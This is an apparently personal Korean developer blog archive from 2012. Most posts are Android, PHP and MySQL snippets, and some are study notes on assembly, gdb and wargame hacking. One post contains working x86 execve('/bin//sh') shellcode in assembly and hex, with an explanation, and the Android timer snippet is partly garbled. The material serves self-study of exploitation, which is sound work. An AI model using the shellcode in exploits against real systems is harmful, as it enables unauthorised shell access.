'k1rha`s Node'에 해당되는 글 388건

  1. 2012.03.21 네트워크 상태 boardcast 로 받아 내기 (network statues check)
  2. 2012.03.21 padding intent 로 값넘길 시 전송코드과 받는 코드
  3. 2012.03.21 android softkeyboard 강제로 키우거나 끄기.
  4. 2012.03.21 android 지금 서비스가 동작 중인지 확인하는 코드
  5. 2012.03.21 Android softkeyboard 에 따른 event 발생 시키기
  6. 2012.03.21 안드로이드 bluetooth uuid 에 관한 내용
  7. 2012.03.21 Inflater XML 두개 겹쳐서 화면에 출력 시키기.
  8. 2012.03.21 카메라 모드에서 줌 효과주기.
  9. 2012.03.21 android timmer 사용법
  10. 2012.03.21 php 썸네일 함수 구현 부분
  11. 2012.03.21 mysql database 에서 한글 개짐 현상 처리법
  12. 2012.03.21 인드라 형님의 쉘코드 만들기 mkdir 과 execve 함수를 쉘코드 만들기 동영상 강좌
  13. 2012.03.21 어셈과 C언어를 넘나 들어 보자~
  14. 2012.03.21 레지스터 이해와 어셈블리 더블 포인터의 이해
  15. 2012.03.21 gdb 사용법 우분투에서 연습하기.
  16. 2012.03.21 %2f 가 없는 쉘코드 (shellcode without %2f code)
  17. 2012.03.21 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩
  18. 2012.03.21 리눅스 커널 심층 분석 내가 요약한 판..
  19. 2012.03.21 php 5.3 으로 넘어가면서 생기는 date 함수 오류
  20. 2012.03.21 MD5 SQL injection
  21. 2012.03.21 자바스크립트 jquery 로 둥근 모서리 효과 주기
  22. 2012.03.21 jquery mobile 중 포커스 없애는 구문..
  23. 2012.03.21 google map api vr3 기본 코드
  24. 2012.03.21 스택옵션 변경하기 (changing Stack option) (랜덤스택 없애기 및 DEP 주기) 1
  25. 2012.03.21 SSH 로 서버에 접속시에 세션이 바뀌었을때 처리하는 명령어.
  26. 2012.03.21 센트 OS 에서 아이피 테이블즈 설정법(CentOS 5 에서 iptables 설정법) (펌)
  27. 2012.03.21 커널 3.2 버젼으로 컴파일 하기(Kenel Vr 3.2 complie .. )
  28. 2012.03.21 컴파일 시 다양 한 에러들 모음집
2012. 3. 21. 02:58

//////////////////////////////////////////

//웹소켓을 처리하는 도중 핸드폰의 특성상 네트워크환경을 많이 타게 된다. 그때문에 만들게 된 소스..

/////////////////////////////////////////////


BroadcastReceiver networkStateReceiver = new BroadcastReceiver() {

@Override
public void onReceive(Context context, Intent intent) {

// Log.e("Network Listener", "________Network Type Changed");

String action = intent.getAction();

if (action.equals(ConnectivityManager.CONNECTIVITY_ACTION)) {
Log.e("TAG", "_______Receiver onConnectivity");

NetworkInfo info = intent
.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO);

if (info == null) {
Log.e("TAG", "________No Network Info Available");

return;
}

Log.e("_network statues_", "___________"
+ info.getState().toString());
if (info.isConnected()) {

try {
// Log.e("aaaaaaa", "___" + getUser);

iosocket = new IOSocket("ws://115.68.23.219:3000",
getUser, service.this);
iosocket.connect();

} catch (IOException e) {
e.printStackTrace();
}

Log.e("TAG", "________Broadcast: Network Up");
// Restart any downloads.
// Send any pending transactions.
// Start any async tasks.
// (optional) Request partial wakelock to allow
// networking to continue.
return;
} else {
// iosocket.
try {
iosocket.getWebSocket().close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Log.e("TAG", "________Broadcast: Network Down");

}
return;
}

}
};

IntentFilter filter = new IntentFilter(
ConnectivityManager.CONNECTIVITY_ACTION);
registerReceiver(networkStateReceiver, filter);

Posted by k1rha
2012. 3. 21. 02:57

ㅇpending intent 의 0 이라는 인자값을 updtae 로 고쳐준다.

}

Intent intent2 = new Intent(this, Alram.class);
// intent2.putExtra("title", _title);
intent2.setAction(SCHEDULED_PROFILE);
intent2.putExtra("SID", (long)actionDBId);


sender = PendingIntent.getBroadcast(this, check, intent2, PendingIntent.FLAG_UPDATE_CURRENT);

===================================================

받을때는 요로콤

String test;

public void onReceive(Context context, Intent intent) {
// Log.e("aaa","______________");
mNotiManager = (NotificationManager) context
.getSystemService(Context.NOTIFICATION_SERVICE);
Notification noti = new Notification(R.drawable.ic_launcher, "일정 알림",
System.currentTimeMillis());

Uri data = intent.getData();
test = intent.getStringExtra("value");

Posted by k1rha
2012. 3. 21. 02:56

m = (InputMethodManager)getSystemService(INPUT_METHOD_SERVICE);


// m.toggleSoftInput(0, InputMethodManager.HIDE_NOT_ALWAYS); //토글 사용하여 키보드 보이기
// m.hideSoftInputFromWindow(windowToken, flags)

m.toggleSoftInput(InputMethodManager.RESULT_SHOWN,InputMethodManager.RESULT_SHOWN); //강제로 키보드 보이기

m.hideSoftInputFromWindow(getCurrentFocus().getWindowToken(), 0); //강제로 키보드 감추기

Posted by k1rha
2012. 3. 21. 02:55
private Boolean isServiceRunning(String serviceName) {

ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
for (RunningServiceInfo runningServiceInfo : activityManager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceName.equals(runningServiceInfo.service.getClassName())) {
return true;
}
}
return false;
}
Posted by k1rha
2012. 3. 21. 02:55
소프트키보드 상태에 따라 이벤트 발생시키기
Android 2011/11/18 13:55 Posted by 기분째즈
당황스럽게도 안드로이드에는 키보드가 떴는지 안떴는지를 알 수 있는 API도 없고, 이벤트도 없습니다.

우회해서 알아내야하는데요.

터치이벤트 자체를 낚아채서 강제로 이벤트를 주면서 키보드 상태를 알아내는 법. 화면사이즈 변경된 걸로 알아내는 법. 몇몇 방법이 있지만 재사용하기 편한 건 키보드가 뜨면서 화면크기가 변경된 걸 알아내는 뷰 하나 만들어서 화면에 붙이는 게 편하더군요.

주의점은 AndroidManifest.xml에서 android:windowSoftInputMode 에 adjustResize 속성을 추가해야합니다.

키보드 등장에 화면크기가 바뀌는 걸로 설정했기 때문에 키보드 등장에 의한 자동 스크롤(Pan)은 되지않습니다.


키보드 알아내는 뷰.
SoftKeyboardDectectorView.java 소스 내용


package com.givenjazz.android;
 
import android.app.Activity;
import android.content.Context;
import android.graphics.Rect;
import android.util.AttributeSet;
import android.view.View;
 
public class SoftKeyboardDectectorView extends View {
 
    private boolean mShownKeyboard;
    private OnShownKeyboardListener mOnShownSoftKeyboard;
    private OnHiddenKeyboardListener onHiddenSoftKeyboard;
 
    public SoftKeyboardDectectorView(Context context) {
        this(context, null);
    }
 
    public SoftKeyboardDectectorView(Context context, AttributeSet attrs) {
        super(context, attrs);
    }
 
    @Override
    protected void onSizeChanged(int w, int h, int oldw, int oldh) {
        Activity activity = (Activity)getContext();
        Rect rect = new Rect();
        activity.getWindow().getDecorView().getWindowVisibleDisplayFrame(rect);
        int statusBarHeight = rect.top;
        int screenHeight = activity.getWindowManager().getDefaultDisplay().getHeight();
        int diffHeight = (screenHeight - statusBarHeight) - h;
        if (diffHeight > 100 && !mShownKeyboard) { // 모든 키보드는 100px보다 크다고 가정
            mShownKeyboard = true;
            onShownSoftKeyboard();
        } else if (diffHeight < 100 && mShownKeyboard) {
            mShownKeyboard = false;
            onHiddenSoftKeyboard();
        }
        super.onSizeChanged(w, h, oldw, oldh);
    }
 
    public void onHiddenSoftKeyboard() {
        if (onHiddenSoftKeyboard != null)
            onHiddenSoftKeyboard.onHiddenSoftKeyboard();
    }
 
    public void onShownSoftKeyboard() {
        if (mOnShownSoftKeyboard != null)
            mOnShownSoftKeyboard.onShowSoftKeyboard();
    }
 
    public void setOnShownKeyboard(OnShownKeyboardListener listener) {
        mOnShownSoftKeyboard = listener;
    }
 
    public void setOnHiddenKeyboard(OnHiddenKeyboardListener listener) {
        onHiddenSoftKeyboard = listener;
    }
 
    public interface OnShownKeyboardListener {
        public void onShowSoftKeyboard();
    }
 
    public interface OnHiddenKeyboardListener {
        public void onHiddenSoftKeyboard();
    }
}


사용 예) 사용하는 activity의 onCreate같은 곳에 다음과 같이 사용 

final SoftKeyboardDectectorView softKeyboardDecector = new SoftKeyboardDectectorView(this);
addContentView(softKeyboardDecector, new FrameLayout.LayoutParams(-1, -1));
 
softKeyboardDecector.setOnShownKeyboard(new OnShownKeyboardListener() {
 
    @Override
    public void onShowSoftKeyboard() {
        //키보드 등장할 때
    }
});
 
softKeyboardDecector.setOnHiddenKeyboard(new OnHiddenKeyboardListener() {
 
    @Override
    public void onHiddenSoftKeyboard() {
        // 키보드 사라질 때
    }
});<br>
Posted by k1rha
2012. 3. 21. 02:54

안드로이드 블루투스를 사용하기 위해서 소켓 생성시 아래와 같은 메소드를 사용한다.

서버 소켓 - listenUsingRfcommWithServiceRecord()

클라이언트 소켓 - createRfcommSocketToServiceRecord()

해당 소켓을 생성할 떄 UUID 라는 것이 필요하다.

해당 프로토콜을 의미하는 id 인데.. 안드로이드 플랫폼위의 단말에서의 시리얼 통신은 아무 UUID 를 사용하여도 된다.

하지만 특정 프로토콜에 접근하기 위해서는 아래에 나와 있는 프로토콜 UUID 를 사용해야 한다.

예를 들어 단말 타겟 - 컴퓨터 연결이라던지, 단말 - 블루투스 헤드셋 등이 있다.

만약 어떤 디바이스에서 안드로이드 블루투스 연결이 되지 않는다면, 될때까지 uuid 를 하나씩 넣어보면서 찾는 즐거움(??)을 가져보도록 하자^^

현재 2.1까지는 헤드셋 연결 시 ACL 링크만 가능하다(up stream)

SCO 연결을 해볼려고 블루투스 라이브러리를 통째로 jni로 빌드해서 호출 해보았으나.. 생성 - 바인드 까지는 성공 했으나..

연결시 퍼미션 에러가 났다-_-;;

만약 2.1에서 블루투스 헤드셋 SCO 연결 성공한 사례가 나온다면 그분 대박 나실듯~ㅋ

현재는 bluetooth 쪽 회사와 device 작업중인데.. 디바이스 쪽에서 무언가 해결책이 나오기를 바래본다 ㅠ0ㅠ

rotocols UUID http://www.bluetooth.org/assigned-numbers/sdp.htm

BASE UUID = '{00000000-0000-1000-8000-00805F9B34FB}';

SDP_PROTOCOL_UUID         = '{00000001-0000-1000-8000-00805F9B34FB}';
UDP_PROTOCOL_UUID         = '{00000002-0000-1000-8000-00805F9B34FB}';
RFCOMM_PROTOCOL_UUID      = '{00000003-0000-1000-8000-00805F9B34FB}';
TCP_PROTOCOL_UUID         = '{00000004-0000-1000-8000-00805F9B34FB}';
TCSBIN_PROTOCOL_UUID      = '{00000005-0000-1000-8000-00805F9B34FB}';
TCSAT_PROTOCOL_UUID       = '{00000006-0000-1000-8000-00805F9B34FB}';
OBEX_PROTOCOL_UUID        = '{00000008-0000-1000-8000-00805F9B34FB}';
IP_PROTOCOL_UUID          = '{00000009-0000-1000-8000-00805F9B34FB}';
FTP_PROTOCOL_UUID         = '{0000000A-0000-1000-8000-00805F9B34FB}';
HTTP_PROTOCOL_UUID        = '{0000000C-0000-1000-8000-00805F9B34FB}';
WSP_PROTOCOL_UUID         = '{0000000E-0000-1000-8000-00805F9B34FB}';
BNEP_PROTOCOL_UUID        = '{0000000F-0000-1000-8000-00805F9B34FB}';
UPNP_PROTOCOL_UUID        = '{00000010-0000-1000-8000-00805F9B34FB}';
HID_PROTOCOL_UUID         = '{00000011-0000-1000-8000-00805F9B34FB}';
HCCC_PROTOCOL_UUID        = '{00000012-0000-1000-8000-00805F9B34FB}';
HCDC_PROTOCOL_UUID        = '{00000014-0000-1000-8000-00805F9B34FB}';
HN_PROTOCOL_UUID          = '{00000016-0000-1000-8000-00805F9B34FB}';
AVCTP_PROTOCOL_UUID       = '{00000017-0000-1000-8000-00805F9B34FB}';
AVDTP_PROTOCOL_UUID       = '{00000019-0000-1000-8000-00805F9B34FB}';
CMPT_PROTOCOL_UUID        = '{0000001B-0000-1000-8000-00805F9B34FB}';
UDI_C_PLANE_PROTOCOL_UUID = '{0000001D-0000-1000-8000-00805F9B34FB}';
L2CAP_PROTOCOL_UUID       = '{00000100-0000-1000-8000-00805F9B34FB}';




Ref. Service class IDs http://www.bluetooth.org/assigned-numbers/sdp.htm

ServiceDiscoveryServerServiceClassID_UUID       = '{00001000-0000-1000-8000-00805F9B34FB}';
BrowseGroupDescriptorServiceClassID_UUID        = '{00001001-0000-1000-8000-00805F9B34FB}';
PublicBrowseGroupServiceClass_UUID              = '{00001002-0000-1000-8000-00805F9B34FB}';
SerialPortServiceClass_UUID                     = '{00001101-0000-1000-8000-00805F9B34FB}';
LANAccessUsingPPPServiceClass_UUID              = '{00001102-0000-1000-8000-00805F9B34FB}';
DialupNetworkingServiceClass_UUID               = '{00001103-0000-1000-8000-00805F9B34FB}';
IrMCSyncServiceClass_UUID                       = '{00001104-0000-1000-8000-00805F9B34FB}';
OBEXObjectPushServiceClass_UUID                 = '{00001105-0000-1000-8000-00805F9B34FB}';
OBEXFileTransferServiceClass_UUID               = '{00001106-0000-1000-8000-00805F9B34FB}';
IrMCSyncCommandServiceClass_UUID                = '{00001107-0000-1000-8000-00805F9B34FB}';
HeadsetServiceClass_UUID                        = '{00001108-0000-1000-8000-00805F9B34FB}';
CordlessTelephonyServiceClass_UUID              = '{00001109-0000-1000-8000-00805F9B34FB}';
AudioSourceServiceClass_UUID                    = '{0000110A-0000-1000-8000-00805F9B34FB}';
AudioSinkServiceClass_UUID                      = '{0000110B-0000-1000-8000-00805F9B34FB}';
AVRemoteControlTargetServiceClass_UUID          = '{0000110C-0000-1000-8000-00805F9B34FB}';
AdvancedAudioDistributionServiceClass_UUID      = '{0000110D-0000-1000-8000-00805F9B34FB}';
AVRemoteControlServiceClass_UUID                = '{0000110E-0000-1000-8000-00805F9B34FB}';
VideoConferencingServiceClass_UUID              = '{0000110F-0000-1000-8000-00805F9B34FB}';
IntercomServiceClass_UUID                       = '{00001110-0000-1000-8000-00805F9B34FB}';
FaxServiceClass_UUID                            = '{00001111-0000-1000-8000-00805F9B34FB}';
HeadsetAudioGatewayServiceClass_UUID            = '{00001112-0000-1000-8000-00805F9B34FB}';
WAPServiceClass_UUID                            = '{00001113-0000-1000-8000-00805F9B34FB}';
WAPClientServiceClass_UUID                      = '{00001114-0000-1000-8000-00805F9B34FB}';
PANUServiceClass_UUID                           = '{00001115-0000-1000-8000-00805F9B34FB}';
NAPServiceClass_UUID                            = '{00001116-0000-1000-8000-00805F9B34FB}';
GNServiceClass_UUID                             = '{00001117-0000-1000-8000-00805F9B34FB}';
DirectPrintingServiceClass_UUID                 = '{00001118-0000-1000-8000-00805F9B34FB}';
ReferencePrintingServiceClass_UUID              = '{00001119-0000-1000-8000-00805F9B34FB}';
ImagingServiceClass_UUID                        = '{0000111A-0000-1000-8000-00805F9B34FB}';
ImagingResponderServiceClass_UUID               = '{0000111B-0000-1000-8000-00805F9B34FB}';
ImagingAutomaticArchiveServiceClass_UUID        = '{0000111C-0000-1000-8000-00805F9B34FB}';
ImagingReferenceObjectsServiceClass_UUID        = '{0000111D-0000-1000-8000-00805F9B34FB}';
HandsfreeServiceClass_UUID                      = '{0000111E-0000-1000-8000-00805F9B34FB}';
HandsfreeAudioGatewayServiceClass_UUID          = '{0000111F-0000-1000-8000-00805F9B34FB}';
DirectPrintingReferenceObjectsServiceClass_UUID = '{00001120-0000-1000-8000-00805F9B34FB}';
ReflectedUIServiceClass_UUID                    = '{00001121-0000-1000-8000-00805F9B34FB}';
BasicPringingServiceClass_UUID                  = '{00001122-0000-1000-8000-00805F9B34FB}';
PrintingStatusServiceClass_UUID                 = '{00001123-0000-1000-8000-00805F9B34FB}';
HumanInterfaceDeviceServiceClass_UUID           = '{00001124-0000-1000-8000-00805F9B34FB}';
HardcopyCableReplacementServiceClass_UUID       = '{00001125-0000-1000-8000-00805F9B34FB}';
HCRPrintServiceClass_UUID                       = '{00001126-0000-1000-8000-00805F9B34FB}';
HCRScanServiceClass_UUID                        = '{00001127-0000-1000-8000-00805F9B34FB}';
CommonISDNAccessServiceClass_UUID               = '{00001128-0000-1000-8000-00805F9B34FB}';
VideoConferencingGWServiceClass_UUID            = '{00001129-0000-1000-8000-00805F9B34FB}';
UDIMTServiceClass_UUID                          = '{0000112A-0000-1000-8000-00805F9B34FB}';
UDITAServiceClass_UUID                          = '{0000112B-0000-1000-8000-00805F9B34FB}';
AudioVideoServiceClass_UUID                     = '{0000112C-0000-1000-8000-00805F9B34FB}';
PnPInformationServiceClass_UUID                 = '{00001200-0000-1000-8000-00805F9B34FB}';
GenericNetworkingServiceClass_UUID              = '{00001201-0000-1000-8000-00805F9B34FB}';
GenericFileTransferServiceClass_UUID            = '{00001202-0000-1000-8000-00805F9B34FB}';
GenericAudioServiceClass_UUID                   = '{00001203-0000-1000-8000-00805F9B34FB}';
GenericAudioServiceClass_UUID                   = '{00001203-0000-1000-8000-00805F9B34FB}';
GenericTelephonyServiceClass_UUID               = '{00001204-0000-1000-8000-00805F9B34FB}';
UPnPServiceClass_UUID                           = '{00001205-0000-1000-8000-00805F9B34FB}';
UPnPIpServiceClass_UUID                         = '{00001206-0000-1000-8000-00805F9B34FB}';
ESdpUPnPIpPanServiceClass_UUID                  = '{00001300-0000-1000-8000-00805F9B34FB}';
ESdpUPnPIpLapServiceClass_UUID                  = '{00001301-0000-1000-8000-00805F9B34FB}';
EdpUPnpIpL2CAPServiceClass_UUID                 = '{00001302-0000-1000-8000-00805F9B34FB}';
Posted by k1rha
2012. 3. 21. 02:53

 controlInflater = LayoutInflater.from(getBaseContext());
View viewControl = controlInflater.inflate(R.layout.camerarecord, null);
LayoutParams layoutParamsControl = new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);
this.addContentView(viewControl, layoutParamsControl);

inflater layout을 쓰면되는데

main.xml 외에 다른 xml 을 만든고 거기에 디자인을 한다.

이후에 infater로 합쳐주면되는데 controlinflater,inflate(R.layout 부분이 기존외에 합쳐질 레이아웃이다. 

Posted by k1rha
2012. 3. 21. 02:52

탱크게임을 만들다가.. 도저히 게임성이 안나와서

스나이퍼 모드로 변경하고 있는중이다..

스나이퍼 모양이 뜨고.. 거리에 따라 줌을 당겨야하는 미션..

한데 이 카메라 줌이라는게 생각보다 찾아도 잘없다..

if(temp>=30){
temp=0;
}else{
temp+=10;

}

Camera.Parameters parameters = mCameraDevice.getParameters();
parameters.setZoom(temp);
mCameraDevice.setParameters(parameters);

이렇게 간단히 해결될수 있는 것을...

mCameraDevice가 카메라 객체를 가져온것이다. 

Posted by k1rha
2012. 3. 21. 02:52
1 package exm.timer;
2
3 import java.util.*;
4
5 import android.app.Activity;
6 import android.os.Bundle;
7 import android.util.*;
8 import android.view.*;
9 import android.view.View. Listener;
10 import android.widget.*;
11
12 public class TimerExample extends Activity {
13
14 private TimerTask mTimer;
15 private Button mBtnStart, mBtnStop;
16 private Timer timer = new Timer();
17
18 /-* Called when the activity is first created. *-
19 @Override
20 public void onCreate(Bundle savedInstanceState) {
21 super.onCreate(savedInstanceState);
22 setContentView(R.layout.main);
23
24 initSetting();
25 btnEvent();
26 }
27
28 private void initSetting() {
29 mBtnStart = (Button) findViewById(R.id.btnstart);
30 mBtnStop = (Button) findViewById(R.id.btnstop);
31 }
32
33 private void btnEvent() {
34 mBtnStart.set Listener(new Listener() {
35
36 @Override
37 public void (View v) {
38 TimerMethod();
39 }
40 });
41
42 mBtnStop.set Listener(new Listener() {
43
44 @Override
45 public void (View v) {
46 stopTimer();
47 }
48 });
49 }
50
51 private void TimerMethod() {
52 mTimer = new TimerTask() {
53
54 @Override
55 public void run() {
56 Log.d("TIMER", "" + System.currentTimeMillis());
57 }
58 };
59
60 timer.schedule(mTimer, 2000, 3000);
61 }
62
63 private void stopTimer() {
64 // timer.cancel();
65 mTimer.cancel();
66 }
67
68 }
Posted by k1rha
2012. 3. 21. 02:51
나름대루 썸네일 함수를 만들어 봤습니다. 잘 되더군염..
gif, jpg, png 파일이 가능하구염..

function thumnail($file, $save_filename, $save_path, $max_width, $max_height) {

// 전송받은 이미지 정보를 받는다
$img_info = getImageSize($file);

// 전송받은 이미지의 포맷값 얻기 (gif, jpg png)
if($img_info[2] == 1) {
$src_img = ImageCreateFromGif($file);
} else if($img_info[2] == 2) {
$src_img = ImageCreateFromJPEG($file);
} else if($img_info[2] == 3) {
$src_img = ImageCreateFromPNG($file);
} else {
return 0;
}

// 전송받은 이미지의 실제 사이즈 값얻기
$img_width = $img_info[0];
$img_height = $img_info[1];

if($img_width <= $max_width) {
$max_width = $img_width;
$max_height = $img_height;
}

if($img_width > $max_width){
$max_height = ceil(($max_width / $img_width) * $img_height);
}

// 새로운 트루타입 이미지를 생성
$dst_img = imagecreatetruecolor($max_width, $max_height);

// R255, G255, B255 값의 색상 인덱스를 만든다
ImageColorAllocate($dst_img, 255, 255, 255);

// 이미지를 비율별로 만든후 새로운 이미지 생성
ImageCopyResampled($dst_img, $src_img, 0, 0, 0, 0, $max_width, $max_height, ImageSX($src_img),ImageSY($src_img));

// 알맞는 포맷으로 저장
if($img_info[2] == 1) {
ImageInterlace($dst_img);
ImageGif($dst_img, $save_path.$save_filename);
} else if($img_info[2] == 2) {
ImageInterlace($dst_img);
ImageJPEG($dst_img, $save_path.$save_filename);
} else if($img_info[2] == 3) {
ImagePNG($dst_img, $save_path.$save_filename);
}

// 임시 이미지 삭제
ImageDestroy($dst_img);
ImageDestroy($src_img);
Posted by k1rha
2012. 3. 21. 02:48

http://blog.naver.com/cache798?Redirect=Log&logNo=130062020309

mysql 설정을 해주고

$string = iconv("UTF-8","CP949",$_POST['cmd']);

Posted by k1rha
2012. 3. 21. 02:46
Posted by k1rha
2012. 3. 21. 02:45
===================== Answer by Mongil ==================================
어셈에서 return 해주는 두 가지 방법이 있는데~
하나는 원래 인라인 어셈 문법 중에 c언어 변수를
전달하는 것이 있고 (http://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/app3.basic.html)
다른 하나는 꽁수를 이용하는 건데 C언어에서 함수가
리턴될 때 내부적으로 %eax 레지스터 값을 가져오거든
그래서 다음과 같이 가능하삼
int my_func()
{
asm("어쩌구저쩌구\n
mov %eax, 리턴값\n");
}

int main()
{
int ret = my_func();
printf("%d\n", ret);
}

잘 이해 안되면 다시 질문해주삼~


=====================================================================
Posted by k1rha
2012. 3. 21. 02:45
esi edi 에 대한 쓰임새에 대해 조사해보자.

ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,

새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에

세그먼트폴트가 떴던 것이였다.


.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80




shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80

=================== Thax for indle bro~ ===============================

execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");

인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.


더블포인터를 어셈에서 구현해주는 것은

[adrress][null]//bin//sh[null] 로 구현가능하다.

즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고

이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]

다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.

이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.

그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다. 
Posted by k1rha
2012. 3. 21. 02:44
=====================================================================
gdb 분석법에 대한 복습!

envirment :
Linux server1 2.6.28-18-server #59-Ubuntu SMP Thu Jan 28 02:23:52 UTC 2010 i686 GNU/Linux



코드는 몽형이 짠걸 얼추 기억해서 ... 재코딩

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){

char buff[40];


if(argc!=7){
printf("failed\n");
}

else{
fgets(buff,"17",stdin);

printf("%s",buff);

if(strstr("key",buff)==0){

printf("success\n");
}

else{
printf("failed\n");
}
}

}
#########################################################################
분석을 마치며 느낀점

ubuntu 는 프로시져 프롤로그 부분이 다르다. 스택을 좀더 보호하는 쪽인것 같은데
정확히 파악을 하지 못했다.

또한 print 함수를 호출하는 대신 같은 printf 라도 puts 를 통해 글자를 출력한다.

마지막으로 인자값전달에서 스택에 push하고 빼는 형식의 redhat 과는 달리

(%esp), 0x4(%esp), 0x8(%esp) 같은 식으로 esp 부분에 인자값을 하나식 전달하는 방법을
사용함을 알수 있었다.

마지막으로 16바이트로 주소값 끝에 00을 맞춰주려던 sub 함수들도 사라져 있는것을 알수 있다.
#########################################################################
=====================================================================

#### gdb 명령어 실행 ######

study@server1:~/programming/hack/gdb_excercise$ gdb -q argv
(gdb) disass main
Dump of assembler code for function main:
0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
0x080484b2 <main+14>: sub $0x44,%esp
0x080484b5 <main+17>: mov 0x4(%ecx),%eax
0x080484b8 <main+20>: mov %eax,-0x38(%ebp)
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)
0x080484c4 <main+32>: xor %eax,%eax
0x080484c6 <main+34>: cmpl $0x7,(%ecx)
0x080484c9 <main+37>: je 0x80484d9 <main+53>
0x080484cb <main+39>: movl $0x8048610,(%esp)
0x080484d2 <main+46>: call 0x80483e0 <puts@plt>
0x080484d7 <main+51>: jmp 0x8048527 <main+131>
0x080484d9 <main+53>: mov 0x804a020,%eax
0x080484de <main+58>: mov $0x8048617,%edx
0x080484e3 <main+63>: mov %eax,0x8(%esp)
0x080484e7 <main+67>: mov %edx,0x4(%esp)
0x080484eb <main+71>: lea -0x30(%ebp),%eax
0x080484ee <main+74>: mov %eax,(%esp)
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt>
0x080484f6 <main+82>: lea -0x30(%ebp),%eax
0x080484f9 <main+85>: mov %eax,0x4(%esp)
0x080484fd <main+89>: movl $0x8048619,(%esp)
0x08048504 <main+96>: call 0x80483c0 <strstr@plt>
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119>
0x0804850d <main+105>: movl $0x804861d,(%esp)
0x08048514 <main+112>: call 0x80483e0 <puts@plt>
0x08048519 <main+117>: jmp 0x8048527 <main+131>
0x0804851b <main+119>: movl $0x8048610,(%esp)
0x08048522 <main+126>: call 0x80483e0 <puts@plt>
0x08048527 <main+131>: mov -0x8(%ebp),%edx
0x0804852a <main+134>: xor %gs:0x14,%edx
0x08048531 <main+141>: je 0x8048538 <main+148>
0x08048533 <main+143>: call 0x80483d0 <__stack_chk_fail@plt>
0x08048538 <main+148>: add $0x44,%esp
0x0804853b <main+151>: pop %ecx
---Type <return> to continue, or q <return> to quit---
0x0804853c <main+152>: pop %ebp
0x0804853d <main+153>: lea -0x4(%ecx),%esp
0x08048540 <main+156>: ret


###################################################################

break main 으로 *를 사용하지 않아서 프롤로그 부분을 넘긴다.
=> gdb 가 버리가 좋아서 main 함수에 break 를 잡으면 아라서 프롤로그를 넘긴다.

###################################################################
(gdb) break main
Breakpoint 1 at 0x80484b2
0x080484b2 <main+14>: 같은 주소값이 main+14 이니깐 이 이후가 실제 코드영역이다.

0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
이부분은 esp를 ebp 에 넣고 스택을 완성하며 ecx를 넣어서 스택 가드를 형성한다.
이때 ebp 를 push 하고 스택 포인터를 ebp 에 넣은다음 ecx를 push 한다.

즉,
[buff][ ecx ][sfp][ret][argc][argv]
(스택가드와 연관있을듯)가 되어있다.


0x080484b2 <main+14>: sub $0x44,%esp //스택을 68바이트만큼 확장
0x080484b5 <main+17>: mov 0x4(%ecx),%eax //ret 주소를 eax 에 저장
0x080484b8 <main+20>: mov %eax,-0x38(%ebp) //ret주소가 저장된 eax를 확장된스택 56바이트 지점에 삽입
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)

스택을 44(16)바이트 만큼 확장 시킨다.
(gdb) print 0x44
$2 = 68(만큼 확장)

print 0x38=56

/////////////////////////////////////////////////////////////////////////////
먼말인지 모르겠다 ㅠ..ㅠ
////////////////////////////////////////////////////////////////////////////

0x080484c6 <main+34>: cmpl $0x7,(%ecx) //argc 가 7개인가 비교
0x080484c9 <main+37>: je 0x80484d9 <main+53> //같다면 main 53으로.
0x080484cb <main+39>: movl $0x8048610,(%esp) //아니라면 failed 를 esp 에삽입
0x080484d2 <main+46>: call 0x80483e0 <puts@plt> //printf 대신 puts로 이동한다?
0x080484d7 <main+51>: jmp 0x8048527 <main+131> //마지막으로 이동하여 에필로그.
0x080484d9 <main+53>: mov 0x804a020,%eax //인자값이 7일때 stdin 을 eax에 저장
0x080484de <main+58>: mov $0x8048617,%edx //3이란 숫자를 edx에 받고.
0x080484e3 <main+63>: mov %eax,0x8(%esp) //esp 8만큼 떨어진곳에 그값을저장
0x080484e7 <main+67>: mov %edx,0x4(%esp) //4만틈 떨어진곳에 edx를 저장.
0x080484eb <main+71>: lea -0x30(%ebp),%eax //48만큼 떨어진 ebp 값을(입력받은 버퍼값) eax 에 복사
0x080484ee <main+74>: mov %eax,(%esp) //입력버퍼값을 마지막 인자로 전달.
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt> //fget를 호출.(입력받는다)


(gdb) x/s 0x8048610
